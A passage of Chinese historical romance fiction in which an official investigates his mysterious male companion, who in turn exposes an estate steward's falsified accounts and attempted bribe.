告别张治,一行人继续向前,一心寻了个机会驱马行至梁蕴品身侧,冲梁蕴品眨了眨眼,忍着笑意八卦道,“少爷,您不让我提,自己却悄没声地就把事办了,这可不厚道啊~”
“我干了什么?”梁蕴品瞟了一心一眼,面无表情。
“您说呢?”一心冲身后的马车抬了抬下巴,“您不是怕冒犯了人家,不愿提收房这事吗?怎么一转眼,人已经带上了马车?”
“我……”
梁蕴品莫名感到理亏,清了清嗓子方道,“不是我提的。”
“不是您提的?那是祁少爷……”
一心怔了怔,蓦地反应过来,眸光一凛,正色道,“少爷,您中了贼人的奸计,主动收下他是情有可原,可他一位良家公子,明明可以拿钱走人过得体体面面,为何要主动从了您?这其中……会不会有什么猫腻?”
“你能想到,难道我便想不到么?”
梁蕴品目不斜视,神色淡然,叫一心摸不着头脑,“您真能想到?那您怎么还应允了他?莫不是真如小的所言,就为了方便泄……”
“哼,在你眼中,你家少爷就是如此龌龊之人。”
“呃,不,不是……”一心心中一惊,小心翼翼地看了眼梁蕴品,却没看出生气的痕迹,长长地舒了口气,“可我实在想不出,少爷把他收房的其他理由了,总不能是被祁公子的美色冲昏了头脑吧……”
“……想不清楚的事就多用用你的脑子,别只长个头不长心眼。”
梁蕴品直至此刻脸上才挂了些愠色,不欲再听一心啰嗦,直接驱马向前行至队伍的最前方,与排头的护卫仅余一个身位。
周遭突
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然清净下来,春风轻柔地拂过柳梢,叫梁蕴品无端想起三日前那个清晨——当祁璐毫无保留地向他倾诉身世,求他庇佑时,他是怎么想的?当真是如一心所说,被美色所惑,冲昏了头脑么?
不。他一个字都不曾信过。
祁璐这个人,这个身份,在他眼中并无半点信誉可言,他现身的时机太过巧合,又千方百计阻止自己帮他夺回家产,不正是说明了他的真实身份不可告人,不堪一查么?
既如此,便不能叫他轻易跑了,得牢牢抓在手上才是。
若他真是幕后之人的细作,抓住他便抓住了另一只“马脚”,双管齐下总有查到那人身份的一日;若他不是……也能时时派人监视着他,看看他葫芦里究竟想卖什么药。
是你自己撞上来的……梁蕴品心道,怪不得我。
“都怪我……怪我没提前告知你,阿生。”
陆宛坐在马车中,一双桃花目湿漉漉地看着阿生,叫阿生心中不忍,烦躁不堪。
“少爷您……您每回都这样!”
阿生知道自己无法生陆宛的气,却怒其不争,“阿生并不怪您做了决定却不告诉我,无论您走到天涯海角,阿生都是要跟着您的。可是您……您清楚自己在做些什么吗?”
阿生说着,眼底也红了一片,“当年您舟车劳顿,两度前往汴都,就为了隔着一个贡院陪梁少爷科考,隔着一整条巷子与他分享金榜题名的喜悦……后来您又一声不吭远赴襄州,为梁少爷打点一切,一去就是大半年,回府差点没叫老爷夫人给念叨死……”
“您为梁少爷做的还不够多吗?难道非要赔上您的清誉,您的身体,您的一切……”
“阿生,别这么说,更别怪他。”
陆宛将手覆在阿生手背,轻轻按了按, “我是为了我自己才去做的那些事,从未有半分勉强,更遑论‘赔’上一切……你知道的,每次同他相见,我都能快乐很久,不是么?”
阿生低下头,眼角倔强地挤出一滴眼泪,“是,我自然知道……我只是替您感到委屈……”
“不委屈,阿生,我怎会委屈?我现下高兴还来不及呢。”
陆宛浅浅勾唇,却莫名生出一丝苦涩,“自十岁那年初遇,我的心便全然是他的,再容不下别人了……与其从此孤家寡人,潦草一生,莫不如为自己豁出去一次,至少……至少能在他成亲前,留下一段美好难忘的回忆,好让我的晚景不至于太过凄凉罢……”
“少爷……”
阿生抹了把泪,撇开眼咬住下唇,“早知那年少爷会出事,阿生就算烧坏了脑子也要跟去汴都!若那年少爷不曾遇见梁少爷,便不会受那么多年的相思之苦……”
陆宛笑了,摸了摸阿生的头,“哪有那么多如果,傻阿生,人又不是菩萨,怎能窥见命中之祸?况且……我不苦,阿生,尤其是今日。今日是我数年以来最开心的日子,你也应当为我高兴才是。”
“可是……”
阿生不想扫兴,却越想越不妥, “少爷可曾想过,今日您以孤子祁璐的身份入府,或可得梁少爷一丝怜悯与庇佑,但纸终究包不住火,有朝一日,您陆家少爷的身份败露……您又当如何是好?”
“嗯……自然想过。”
陆宛现出一抹温柔的笑,抬眼看向阿生,“我让你安排人手,去给我爹娘送信,此事,你可办好了?”
“办好了办好了,其他事不办这事也得办好呢……不然这一去一年半载的,老爷夫人寻不着您,可不得急死了。”
“嗯,那就好,那大概……还能瞒上一段时间罢。”
阿生心情平复少许,脑筋也开始活泛起来了,他打量着陆宛的神色,突然“嘶”了一声,“莫非少爷您在家书中……还留了后手?”
“呵,不算什么后手……”陆宛淡淡一笑,“只是我娘亲母家正好姓祁,而我那花花肠子的外祖膝下,又有不少姓祁的子孙。”
借他们的身份一用罢了。
阿生眼珠一转,惊讶地瞪大了眼,“少,少爷……难不成您那日,并不是随意胡诌了一个身份和名字,而是算计好……”
“阿生,陆家家训有云:谋事在人,成事在天。”
陆宛蓦地打断阿生的话,温和而坚定的目光穿透门帘缝,投射在那个高大笔挺的背影之上。
“我曾无数次梦见我与他重逢的场景……今日之前,几乎每一种留在他身边的可能,都被我一五一十捋了个遍。”
“如此,你还有什么不放心的吗?”
9. 9.盈蕖
“大人!有线索了!”
“进来说话。”
梁蕴品正在批示公文,头也不抬,“不要毛毛躁躁。说过多遍了,府里现下不止我一人。”
“噢,对对对。”
一心跑得气喘吁吁,人已经进了书房,闻言又回头将门仔细掩上。
“大人,查了这些日子,终于叫我逮着他的马脚了!”
转过身,一心露出松快的神情,左手捏着一封褐色的信,正一下一下地拍打着右手手心,“真没想到他的防范意识这么强,之前倒是我小瞧他了~”
笔尖一顿,梁蕴品幽幽抬起眼,“找着那封信的下一个去处了?是谁去取的?”
“信?什么信……”
一心先是露出困惑的神情,迅即反应过来,“噢!大人是指——祁小爷的四百两银票,和那个信封的下落?”
梁蕴品眉头一皱,语气忽然严肃起来,“同你说过了,别这么称呼他,依旧唤他祁公子便可。”
“呃……是,祁公子。”
一心摸了摸鼻子,露出一个讨好的笑,“祁公子的四百两银票和信封现下还寄存在金湖钱庄里,纹丝不动呢,咱们的人守了十好几日也没见有人去取,还差点被金湖钱庄的掌柜当毛贼赶出来……”
言罢,一心仰着头,煞有介事地揣测道,“大人,您说会不会是咱们多心了?那个信封里会不会只有银票,压根就没有什么书信?”
“……”
梁蕴品一脸不快,眼底的寒意将一心戳了个透心凉,“不是你同我说,离开湖州的前一日,你亲眼看见阿生将一封信和四百两银票塞进了信封?你还信誓旦旦告诉我,那信封上写了字,怕是祁璐要给谁通风报信去了。”
“若那信封当真是个装银票的摆设,你倒是解释解释,那些字又是什么?”
“呃这……呵呵,大人您消消气,小的或许那日没吃饱,看花了眼也不一定……”
一心忆起那日的情形——他路过祁璐的房间,正巧碰见阿生在收拾细软,顺便将梁蕴品强塞给他们的四百两银票装进了一个信封。
信封上的点点墨迹勾起了一心的疑心,他躲在门后偷看,却很快被阿生发现,临出门前狠狠啐了他一口。
忆及此处,一心心中生出些许憋屈,讪讪道,“总而言之,那东西确实还在钱庄,若大人不放心,小的继续安排人手,看着那钱庄的动静便是了。”
“……若不是此事,你方才冒冒失失地跑进来做什么。”
梁蕴品执起笔,欲继续翻看公函,却见一心一脸无辜地走上前来,“大人,那头没有消息,这头有啊!”
“您忘了吗?咱们离开湖州后,安排人手留下寻找一辉的下落,找了足足大半个月才有了些眉目。这不,我一收到消息便着急忙慌地来跟您汇报了,您还误会……”
“给我罢。”
梁蕴品搁下笔,无奈地瞥了一心一眼,“下次进来直接说事,不要啰嗦。”
“我哪有——行行行,大人说什么就是什么罢!”
一心想翻白眼又不敢翻,将信件双手交到梁蕴品手中,趁他拆信的间隙简述信中的消息,“一辉起初是躲到了湖州西郊的一处庄子里,隐姓埋名地当上了庄稼汉,叫咱们的人苦寻不得。可后来不知怎地,他又回到了湖州城,乔装打扮成定真族商贾的模样,在城中四处藏匿,这才露了马脚,被咱们的人发现。”
梁蕴品一目十行地看完信上的字,信纸一收,眸光一动,即刻想通了因果,“除了咱们的人,还有一队人马在追查他的踪迹。”
“大人英明。”
一心点了点头,“小的苦思冥想,也只有这个解释能说得通了,且那队人掌握的消息比咱们的人更详尽,他们或许早就知道一辉的落脚点,只是碍于咱们,不敢大张声势地围追堵截,却不料一朝走漏了风声,还是叫一辉给跑了。”
“没错。”梁蕴品心思百转,顺着已知的事实推敲目前的局势,“如无意外,那队人定是幕后之人派来取一辉项上人头的,一辉的任务只完成了一半,无法向那人复命,又不能继续蛰伏在我身边,现下除了逃命,别无他法。”
“是,只可惜一辉这狐狸实在太滑不溜手,咱们的人发现他时,他身边乌央乌央跟着一大群人,有身手不凡的暗卫和打手,还有许多定真族的商贩,咱们的人怕引起大邹和定真族的冲突,投鼠忌器,终究是没敢动手,只能远远地缀着他们。”
一心说着,拳头逐渐握紧,“眼下他一日12个时辰都不离人,连出恭都有人守着,当真是怕死到了极致!就是不知那群商贾究竟是如何盘算的,咱们的人瞧着他们出了城,竟是往汴都的方向过来了……大人您说,一辉若跟着他们,不是自投罗网么?”
梁蕴品颔首沉思了会,道,“先按兵不动,叫他们继续跟着,切莫暴露行踪。汴都城里也得安排咱们的人做局,到时里应外合,设计将他拿下。”
“明白。但要在汴都做局,恐怕咱们人手不足,得同府里商量……”
“找老二吧,”梁蕴品掐了掐眉心,“别提我中毒一事,就说我身边出了奸细,不想让父亲母亲担心,让他带几个心腹府兵,从旁协助抓捕。”
一心点头,抿了抿唇,“还好府里有二少爷能为您分忧……说来二少爷前几日传书来此,您来不及看便出门了,现下您看过了吗?二少爷甚少来信,莫不是府里……”
“府里没事。”
梁蕴品想到这件事,头更疼了,揉搓眉心的手劲更重了些,“……是父亲寻了些高手,来保护我们四个,保护我的人已经在来的路上了。”
“这……”
一心对梁蕴品不耐烦的神情感到不解,“这是好事儿啊,大人,若有高手在旁,以后那些想害您的人便无从下手了,您能用的人不是更多了么?”
“虽然如此,但是……”
“您看这一回,”一心试图让梁蕴品宽心,“咱们为了查一辉和祁公子的事,派了多少府卫出去,连寻常替您跑腿的人都不够了,还得劳烦您亲自进县城办公务。这一个月下来,咱们都没在府里吃过几回饭……”
“你以为那些人来此地,当真会忠心于我么?”
梁蕴品瞟着一心,恨铁不成钢地摇了摇头,索性把话说开,“他们是官家的人,以保护之名,行软禁之事。”
“什么?!”
一心听闻此话,恨不得原地一蹦三尺高,也顾不得什么避讳了,当即破口大骂,“当今圣上怎地如此糊涂!冤了梁家,毁了几位少爷的姻缘不止,还要软禁——”
“不是你想的那般,莫要妄言天家之事!”
梁蕴品忧心一心祸从口出,又无法将此事道明,只能挥挥手一笔带过,“罢了,见招拆招罢,二弟既说这群人是父亲寻来的,想必父亲也不会坐以待毙,必然从中做了些功夫,咱们擎等着他们便可。”
“……好吧。”
一心明白梁蕴品的苦心,但心中始终不爽快,拉长了脸站在原地东张西望,恰好看见梁蕴品摞成一叠小山的公文旁边放着两盏茶。
一盏是湖州大夫开的清心汤,另一盏则呈现出碧玉一般的晴底绿,看着通透莹润,与寻常点茶的茶汤并不相似,闻着还有淡淡的荷香。
“少爷,那是什么茶,从前怎么没见您喝过?”
一心的称呼从“大人”变回“少爷”,意味着谈话从公务转回了家事,梁蕴品提起笔低下头,顺理成章地下起了逐仆令,“你若无事,便替我到南漳瞧瞧,据说当地有恶霸侵田之事,还害死了一位农户的姑娘。”
“什么?如此嚣张!这群欺男霸女的狗玩意儿,看我不把他们一网打尽……”
一心气得摩拳擦掌,却见天色近晚,实在是跑不动了,只好软下脾气,可怜兮兮地哀求道,“少爷,赏口饭吃吧,我都多久没吃过陈婶做的饭菜了……小的留下来伺候您用饭,如何?”
梁蕴品笔走龙蛇,表情岿然不动,“我今日不在书房用饭。”
“那您在哪儿用饭我就跟到哪儿,嘿嘿~”
一心虽大大咧咧,但在礼节之事上极少僭越,唯有美食面前会偶尔贪嘴,在梁蕴品的默许下同桌分食。
梁蕴品见赶不走他,无声地叹了口气,终是说了实话,“……今晚我到盈蕖馆用饭。”
“盈蕖馆……是何处?”一心丈二和尚摸不着头脑,“少爷您要下馆子么?”
“……不下馆子,就在府内。”
“府内?哈哈哈,少爷您别开玩笑了,咱们府内何时有过如此诗意的别院?你瞧您的主院和书房,连个牌匾都没有,哈哈哈哈哈……”
一心对梁蕴品找由头赶他的能力嗤之以鼻,直到梁蕴品抬起头,一声不吭地与他对视,他才惊觉这不是玩笑话。
“嘶,您是指……祁公子的别院?”
一心终于想起,祁璐入府后,梁蕴品派王叔找人整修过东边的别院,只是他们甫一回府便要应对诸多公务,别院整修之事他们根本无暇顾及,更别提祁璐本人了。
“少爷怎地突然想起要去,是祁公子来邀您了?”
“不曾。”梁蕴品眼角余光一瞥那盏碧玉清荷茶,淡淡道,“只是突然想去看一下。”
“噢,也对。入府一个多月了,也是时候摸摸他的底了。”
一心托着下巴,回想起梁蕴品的安排,“祁公
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子入府时,少爷您曾令王叔和来福盯着他,有情况随时来报,至今也不见消息,想来祁公子并未有什么大动作。既如此,主动去会会他也好。”
“嗯。”
梁蕴品不动声色,心想他哪止是没有大动作。
——“祁公子十分喜静,每日清晨会在落芙亭钓一会儿鱼,用过早饭回到沁荷居看书,一看便是一整天。”
——“午后和傍晚时分,祁公子会出来走走,且每回必路过大人的别院,还会停下来张望一小会儿,若大人在,他便急匆匆地小跑至小厨房,为大人烹茶煮汤,可大人大多时都不在,他也只能悻悻而归。”
……
来福和王叔的话大同小异,三两句便描绘出祁璐在府中的日常,虽无后院勾心斗角之腌臜事,也算得上清静自在,可梁蕴品听后莫名觉得心被泡在了一个醋池子里,酸胀得让他透不上气。
就这么出着神,梁蕴品已经走到了通判府后门,离盈蕖馆仅余百丈路程,忽然被一心拽着停了下来。
“少爷,你看。”
二人正好走到一处拐角,借着一棵硕大的龟背竹掩映了身形,梁蕴品顺着一心的指引向前看,只见两道清颀的背影映入他眼眸。
一心压低声音:“那仿佛是祁公子……和阿生?”
梁蕴品眯了眯眼,“除了他们,对面还站着一个人。”
“嗯,看着有点面熟,仿佛是……嘶,是南漳那片庄子的庄头?”
一心眉心一紧,“他来做什么?”
“庄头?”
梁蕴品困惑地看向一心,“赏给我的田亩和庄子,不是一应交由母亲打理了么,这个庄头怎会登通判府的门?”
“少爷您忘啦,南漳的白头庄,是年头咱们办了一桩大案,被罚没赏赐下来的,才赏下来您就忙活别的公务去了,后来又到湖州赈灾,一来二去,这个庄子就被耽误了,至今还未移交给夫人打理呢。”
梁蕴品听着不对,“那他们的收成和租子,交由谁打理?账本又由谁来过目?”
“少爷,瞧您说的……”一心有点心虚,“您不发话,即便是王叔和小的,也不敢动这钱银半分啊!更别提看账本了……那自然是将它们放在库房存着,等您何时空了,想起来再……”
梁蕴品眸色一暗,“我想不起来,这个庄子便可永远逍遥自在了?”
一心把嘴一闭,不敢吭声了。
“大户人家的家产最忌无人打理,利益驱使,三两日便可滋生腐虫,更别提半年了……”梁蕴品叹了口气,别过脸,“罚俸100钱,明日自己去领罚。”
“……是,少爷。”
一心闷闷认罚,回过头却见那庄头满脸堆笑,将一本账本硬塞到阿生怀里,顿时来了脾气,“少爷快看,那庄头动手动脚的……想干嘛呢!”
梁蕴品应声望过去,眼皮很轻地跳了一下。
他看见那本账本之下,厚厚的一叠银票无从遁藏。
那庄头肥头大耳,嘴里还肆无忌惮地笑着劝道,“小爷,您就着人收下吧!您可是大人带回来的第一位相好的,您不看账本,谁看?您说话不好使,谁说话好使?”
阿生被这庄头的谄媚恶心得几近呕吐,“你,你别塞给我,少爷……”
“吴庄头,您停一下。”
陆宛将手按在账本之上,冲庄头微微一哂,“我方才说了,我无名无分,不该看通判府的账目,您却拿大人的宠爱来堵我的嘴……是想叫我让大人厌弃,被通判府丢出去么?”
“诶,小爷说的什么话~”
吴庄头摸了摸鼻子,继续怂恿道,“您看,这通判府既无主母,又无贵妾,通判大人还忙于政务,无暇理会我们这小庄小户……小爷既入府伺候,难道不该替大人分分忧么?”
呵,分忧,这算盘珠子都快崩我脸上了,陆宛想。
白头庄账上有问题已是板上钉钉之事,这吴庄头极尽谄媚,无非是怕梁大哥闲暇下来秋后算账,先贿赂一个亲信试试水罢了。
若成了,从此他便有了稳定的敛财同谋,若不成,他也能拉个垫背的一起死。
“既如此……好罢。”陆宛叹了口气,“您若非要我过目,为您在大人面前作保,可以。”
“但我不愿收下这账本,请您亲自翻开,我在此处查阅便可。”
“另外,银票您拿回去,别叫人看通判府的笑话。”
陆宛使了些劲,将那只肥厚的手连带银票账本囫囵个推了回去,清秀的面容泛起一抹沁寒的笑意, “省得有那起子嘴碎的,议论大人连区区一个外室都养不起了。”
“吴庄头,奴家心眼小,可听不得这些呢~”
10. 10.柔刃
“呃……呵呵呵,小爷您这话说的,可折煞小的了。”
吴庄头在推拉间若无其事地收回银票,藏于袖口,笑容在满布褶子的圆脸上显得格外叫人反胃,“莫说养不起了,便说是娇养也不为过呀~您瞧瞧,您都入门一个多月了,大人愣是看得跟眼珠子似的,连门都不让您出,隔壁许大人的爱妾进门第八日便独自出街挑选布料了,您却定定心心地待在府里,一应物品都是大人差人去置办的,足见呐他有多看重您!”
“呵——”
陆宛暗自苦笑,又不愿与这种人细说,便抬手做了个“请”的姿势,“吴庄头,天色再晚便看不清了,请翻开账本吧。”
“诶,得嘞~”
吴庄头翻账本的动作倒是爽快,他心里头认定陆宛是个花架子,即便给他看了也揪不出什么错来,一心在龟背竹后面着急得直瞪眼,“少爷,咱们要不直接过去?那庄子的账本虽不是什么大机密,好歹也是您的产业,就这么随意叫祁公子看了去,会不会有点……”
“无妨,再等等。”
梁蕴品都开了口,一心也不好多说什么,只见那吴庄头短圆的手指越翻越快,账目还未过半,便已明显超过常人阅帐的速度了。
操!这吴庄头在搞什么鬼,这还看个屁啊!
可陆宛却神色自若,如同入了定一般默然盯着那翻飞的账簿,不发一语,直到最后一页展示完毕,吴庄头将扉页一盖,整本账收了起来。
他蔫着笑眯着眼瞧着陆宛,漫不经心地找补了一句,“年纪大了,手有点抖,若不翻快些账本就该掉地上了,还望小爷海涵~”
陆宛眨眨眼,抬头看向吴庄头,很轻地笑了笑,“无妨。只是我方才听您说,白头庄是今年伊始才被赏入通判府的,按理这账本应当只有五个月的账目,缘何我方才看到了去年和前年的账?
“小爷心细。”
吴庄头挺直了腰杆,面上露出得意的神色,“这账本确实不是白头庄的新账本,而是自小的掌管白头庄,当上庄头之日起便开始记录了。小的曾听坊间说大人办案必寻根究底,料想他查账也是一样的,遂将今年的账也一并记入此册,便省了大人来回纠察的功夫了。”
“嗯,吴庄头这账记得不错,人也是讲究人。”
陆宛点点头,见吴庄头眼神一亮,不紧不慢道,“也亏得吴庄头如此细心,才叫我轻易寻出这账本的问题来。”
吴庄头才卖了乖,被陆宛当头泼下一盆冷水,瞬间黑了脸,“呵,小爷可不要信口雌黄,前两年的账是上一任东家查过的,他虽倒了台,在自家田产上却没必要自欺欺人,白纸黑字童叟无欺,都是板上钉钉的账!您虽受宠,也不是一句话便能颠倒黑白的吧~”
“童叟无欺……是么?”
陆宛抿唇一笑,清隽飘逸的气质顿时让整个园子的草木都失了颜色,只见他缓慢地摇头,指着那本账簿问吴庄头,“吴庄头可还记得,前年秋天,庄子里庄稼的收成与去年秋天相差多少?”
吴庄头一愣,“这……”
“不记得也不打紧,我来给您算一算。”
陆宛笑意一敛,娓娓道来,“前年秋天,光庄头代为打理的,未租赁出去的十亩良田,粮食收成便有五十五斗;其余四十八亩良田共收缴田租十八两四钱,粮食十七斗。而去年,这些数目分别是五十八斗,二十两七钱,十九斗。”
“……”
吴庄头当即傻了眼,这男外室看似柔柔弱弱,怎会有过目不忘和如此强悍的心算的本领?
还没等他反应,陆宛便接着说,“同为秋季,两者数目相差无几,应是情理之中,然则我没记错的话,前年正是我家大人到襄州上任的第一年,那年秋日,山南道一带突逢霜冻,襄州也未能幸免,庄稼收成一应锐减了四成。”
“我家大人因此上报朝廷求情,为襄州百姓争取到赋税上的减轻,同时还发布了减租布告——租赁农田受灾者,秋季佃租一律减免五成,违者,重罚。”
“吴庄头,难不成您的上一任东家竟敢公然违背襄州府的命令?怎的到了您这本账上,前年的收成和佃租便与去年无异了?”
“这,这……”
吴庄头听了,一下慌了神,结结巴巴说不出个所以然。
他自然知道前年秋日发生了什么——他与上一任东家的宠妾勾结,伪造阴阳账本,以账上的亏空陷害当家主母中饱私囊,还将真账本烧了,毁尸灭迹,从而搬起石头砸了自己的脚。
可慌乱的不止吴庄头,还有躲在龟背竹后面偷听的梁蕴品和一心。
在听到“上报朝廷求情减轻赋税”这句话时,梁蕴品瞳孔骤缩,手上一紧,几乎将面前龟背竹的一片叶子捏得粉碎,一心也差点惊呼出声。
他瞪着铜铃般的眼珠子看向梁蕴品,像见了鬼一般惶惶道,“这祁公子究竟是何方神圣啊,缘何对少爷您如此了解?”
梁蕴品无言以答,他盯着那白衣飘飘,谪仙般的背影,心中比任何人都想知道这个答案。
陆宛见吴庄头慌得眼神乱转,心知已打中了他的七寸,微微一哂,继续点出账本中的问题,“若说前年的收成是笔误,那么这两年的支出便堪称志怪小说了。”
“我方才粗粗算了一下,前年和去年,账上共支出一千二百两纹银,生生刨去了两年田租收入的一半,其中为庄子修缮石桥五十八次,凉亭二十一次,为主家自留地置办了五十三头牛,四十二头驴,还有……二百一十八件工具和农具。”
“敢问吴庄头,”陆宛仰起脸,温婉的桃花目中露出了鲜有的锋利,“村里究竟有几条河,河水是否如此湍急,乃至每隔不到半月便能冲垮石桥一次?凉亭是被大风刮坏的还是被雨水淋坏的?那些牛驴和农具,又分别用到了何处?”
陆宛说着,向前压了一步,猛地抬高了声调,“你可知那些个支出,若放在旁的庄子,够养活五所庄子三年的自留地了!”
吴庄头被陆宛的气势惊得膝盖一软,几乎要就地跪下来。他将将稳住身形,硬着头皮为自己辩解,“小爷,这账本从前受了潮,小的派人重新誊抄过一遍,或是笔误,或是一时糊涂抄错了亦有可能。但求您先别同大人说道,容小的回去查查账,一定给您一个妥善的交代!”
陆宛看着他涨成紫红色的脸,出人意料地点了点头,“吴庄头,这账被誊抄过一遍,我看出来了。”
“您看出来了?这……”
“但抄录者不是糊涂了,更不是笔误,而是故意而为之。”
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陆宛面无表情地盯着吴庄头,挥出最后一记狠拳,“前两年的账虽破绽百出,但今年以来,账目却踏踏实实,没有任何疏漏,更没有任何不合情理的支出。”
“古人云,事出反常必有妖,没有问题便是最大的问题。所以我推测——您重新誊抄账本,是为了遮掩什么吧。”
“小,小爷……”
吴庄头还没来得及解释,便听得陆宛自顾自道,“想来吴庄头是听说了我家大人清正廉明,不敢在支出上造次,因此把敛财的主意打到了唯一能动手脚的地方——佃户的租子上。”
“四十八亩良田,一季当真只有二十两田租么?恐怕不止吧~”
陆宛冷笑着瞪着吴庄头,上挑的双眼像两记弯刀刺向他的心,“吴庄头之所以誊抄账簿,是要将三年内所有佃户的租子压低了上报,往后这中间的油水便可安然落袋,细水长流了。我猜得对吧?”
“你,你不要胡说,我——”
“您不肯承认,府衙自然有许多方法能让您承认,再说了,大人只是这一阵子忙,等过些时日,他答应过我要带我到庄子上游玩,顺便巡检一番呢~”
吴庄头脸色刷白,再也控制不住自己哆嗦的双腿,“砰”地一声跪了下来。
“小的糊涂,小的错了,但求小爷能给小的一条活路,别叫大人知道这些……”
吴庄头磕着头,一把鼻涕一把眼泪地忏悔道,“只要能继续待在白头庄,小的愿成为小爷的心腹,岁岁给小爷献礼,无论小爷看上了什么,小的都双手奉上,只求……”
“心腹?吴庄头当真觉得,您配么?”
陆宛攻心后,无波无澜地平视前方,不再像方才那般咄咄逼人,却叫人平白升起一股寒意,“吴庄头让我看的账我已经看了,大人那边也自会有人前去分说,您就在通判府候着吧。”
“不,不,小爷您听我说……”
“这位大哥,”陆宛冲后门的府卫一颔首,“麻烦你将吴庄头请到西偏阁好生招待,再请王管事来盈蕖馆一趟,我有要事相商。”
“是!”
……
陆宛转身回屋,梁蕴品沉眸观看至此,也不动声色地抬脚开拔——却是向反方向走去。
“少爷,少爷!”一心见梁蕴品走了,一头雾水地跟了上去,“您要去哪儿啊?”
“回书房用饭。”
“啊?咱们不去盈蕖馆了吗?”
一心诧异极了,但见梁蕴品闷声不答,自己也不好问下去,只好亦步亦趋地跟在身侧。
半晌,二人走至书房门前,梁蕴品突然停下,若有所思地目视前方,话却是同身边人说的。
“一心,你觉得祁璐……像是普通商贾人家的公子么?”
一心不解地“啊”了一声,又听梁蕴品自言自语道,“若连他这样的也算是‘闲散少爷’、‘不学无术’……那大邹便再无能人了。”
一心半懂不懂地点点头,正想出声附和,却见梁蕴品扭头看向自己,“你有没有查过,金湖钱庄背后的的东家是谁?”
一心一愣,“这我倒从来没……”
梁蕴品回身进了书房,撂下一句,“去查。南漳的事你不用管了,我自会派人去审。”
11. 11.试探
“哇,好香啊!见过祁公子~”
一心探出头,看着一大桌菜默默咽了咽口水,抬头露出了惊喜的神情,“这么多菜,都是祁公子您亲自下厨做的吗?”
“呃,呵……”
陆宛眼神钉在冒雨前来的梁蕴品身上,看着他肩上散落的雨痕,嗅着他久违的气味,莫名有些怔愣,反应了好一会儿才转过劲来,朝一心赧然一笑,“说来惭愧,我厨艺不精,心有余而力不足。这桌好菜,大多由阿生掌勺,王管家也派了些帮厨过来打下手。”
“噢……不打紧不打紧,是小的冒犯了。祁公子的手一看就是舞文弄墨的手,哪里是用来做这些粗活的,呵呵~”
一心尴尬地直挠后脑勺,又瞥见梁蕴品冷冰冰地睨了他一眼,仿佛在斥责他多嘴,想死的心此起彼伏。
靠,他就不该当这个出头鸟!
可谁让一屋子人都是不爱说话的?自家主子就算了,打小就是个喜静的,这祁公子在吴庄头面前不是挺伶牙俐齿,咄咄逼人的么?怎地在少爷面前,像只受了惊的小白兔似的?
还有那位看似乖顺的忠仆……平日里一句话能呛死个人,今日是怎么了?站在角落一声不吭,也不说来打个圆场。
他和少爷冒雨前来,已经是湿衣沐冠,饥肠辘辘,再这么大眼瞪小眼的,好好的一桌热菜就要凉透了,这顿饭还怎么吃?
不行,硬着头皮也得把场子给搅热。
“那……小的们给大人和公子布菜?”
一心躲开梁蕴品犀利的眼神,像风一样掠过陆宛身边,一把牵起了面无表情的阿生,“走走走,一起给主子布菜去~”
“你——”
阿生脸色一白,恨不得登时将一心扔出落芙亭,但他知晓今日不比往常,只好板着脸顺着一心的劲走到石台旁,陪他嬉皮笑脸地布起了菜。
落芙亭亭如其名,整座亭子宛如一朵倒扣的荷花,诗意悠然又宽敞大气,梁蕴品起初搬入这所宅子,最先看上的便是这个亭子。
但自从走马上任后,他便无暇顾及家中琐事,这亭子的牌匾空悬了整整两年,直到祁璐住了进来。
盈蕖馆,落芙亭,沁荷居,濯莲池……梁蕴品一笔一笔题着不同牌匾上的字,直到最后一笔才蓦然醒觉——他竟自作主张为那别院的每一处都取了名,还是与荷花相关的名字。
那夜的一缕荷香,终究还是在他心里留下一颗深深浅浅的种子。
一心和阿生在石桌边吵吵闹闹地布着菜,一旁,梁蕴品不动声色地打量着眼前的男子——他似乎没怎么变,通判府日日大鱼大肉都不曾养胖他些许,当真如他自己所言,娇贵难养。
可那双桃花眼却愈发灵动了。
眼底泛红,微微上挑的眼角像会说话,向他诉说着这段时日的期待与今日得见的欢愉……梁蕴品一时有些恍惚,他明明知道这些眼神都做不得假,却又忍不住去想——万一他是个训练有素的戏子呢?万一他是幕后之人专程养来对付自己的锋刃呢?
他若都不是,为何要苦苦隐瞒自己?他的才情,气质,涵养……令他本就漏洞百出的身世荒唐得像个笑话,偏生自己与他有一夜夫妻之实,只要他沉默以待,自己便无可奈何。
罢了……金湖钱庄那边已经派了人手去查,今夜自己亦是有备而来,孰真孰假,今夜,或许能窥见天光。
“先吃饭吧。”梁蕴品终是眉眼一软,先开了口。
“嗯,好。”
“你们二人也别布了,到小厨房呆着吧,这里不需要人伺候。”
“得嘞!”
还没等阿生反应过来,一心便兴冲冲地拽着他的手腕冲入雨幕。
“你干什么,放开我!你什么毛病非要拽我的手……”
“哎呀都是男子,牵一牵怎么了?阿生你脾气别那么暴躁嘛……快快快,给我开个小灶,我要吃卤豆腐!”
“开你个头!有什么吃什么,再多说一句你就吃灶台去吧!”
“干嘛对我这么大恶意!我前些日子大老远地把东乡里的云片糕捎回来给你,你个没心肝的都忘了吗?今日吃你一点豆腐怎么了?”
“…………你饿着吧!”
“喂!”
……
陆宛看着没入小厨房的两个背影,嘴角不自觉升起一个恬淡的笑,转过头却正好与梁蕴品漆黑的眸子对上,心蓦地跳漏了一拍。
他后知后觉反应过来,如今没有仆人在侧,他身为外室,理应伺候梁蕴品才对,于是慌慌张张起身,拿起一壶热酒,“今日小满,雨水渐长,大人可要喝点酒暖暖身子?妾身给您……”
“别那么叫自己。”
“……啊?”
梁蕴品将倒了半杯的酒囫囵饮尽,抬眼正色道,“那日所言,‘代价’一词非我本意,我只想叫你认清利害关系,主动退缩,并没有要强迫你做小伏低的意思,因此你也不必自降身格。”
“往后我们还是以平辈互称即可。你若不介意,以兄弟相称亦可,你不必再拘着自己。”
非你本意……么?
陆宛的心似被揪出一个角,无法顺畅流淌的血液在褶皱处凝成一道道瘀结,骤然疼得他喘不过气来。
然而他必须打起精神,强颜欢笑道,“我已是大人的人,大人愿意与我称兄道弟也可,令我为奴为婢也罢,祁璐都欣然接受。”
梁蕴品眉心一蹙,似乎想劝他不该这么固执己见,又斟酌半天不知从何说起,最后通通化为一声叹息,“你欲如何,都行。吃饭吧~”
“……好,我为大人添酒。”
酒过几巡,细雨将歇,小厨房内传来乒铃乓啷的碗筷声,夹杂着一丝嬉闹谩骂,衬得屋外格外宁静。
梁蕴品抬眼瞥向斜对角,见男子面色绯红,眼角微微耷拉着,正盯着眼前一盘粉条肘子出神,突然出声问道,“你曾到汴都居住,可曾吃过三鲜斋的粉条肘子?”
“嗯?”
